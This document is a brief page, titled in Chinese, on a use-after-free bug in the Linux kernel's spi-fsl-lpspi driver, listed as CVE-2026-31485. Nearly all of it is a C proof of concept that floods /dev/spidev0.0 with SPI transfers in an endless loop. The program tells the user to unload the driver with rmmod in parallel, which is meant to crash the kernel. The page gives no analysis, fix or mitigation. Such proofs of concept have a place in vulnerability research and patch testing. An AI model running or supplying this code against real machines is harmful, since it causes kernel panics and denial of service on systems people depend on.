Linux内核spi-fsl-lpspi驱动UAF漏洞（CVE-2026-31485）

/* * PoC for CVE-2026-31485: Trigger UAF in spi-fsl-lpspi driver. * This code keeps the SPI bus busy with transfers. * Requires root access to unload the module or trigger device removal in parallel. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> #define DEVICE "/dev/spidev0.0" int main() { int fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return -1; } unsigned char tx[256] = {0xFF}; unsigned char rx[256] = {0}; struct spi_ioc_transfer tr = { .tx_buf = (unsigned long)tx, .rx_buf = (unsigned long)rx, .len = sizeof(tx), .speed_hz = 1000000, .bits_per_word = 8, .delay_usecs = 0, }; printf("[+] Starting spamming SPI transfers on %s...\n", DEVICE); printf("[!] In another terminal, remove the module to trigger the crash:\n"); printf(" rmmod spi_fsl_lpspi\n"); while (1) { int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &tr); if (ret < 1) { perror("SPI Transfer failed (Kernel might have panicked)"); break; } } close(fd); return 0; }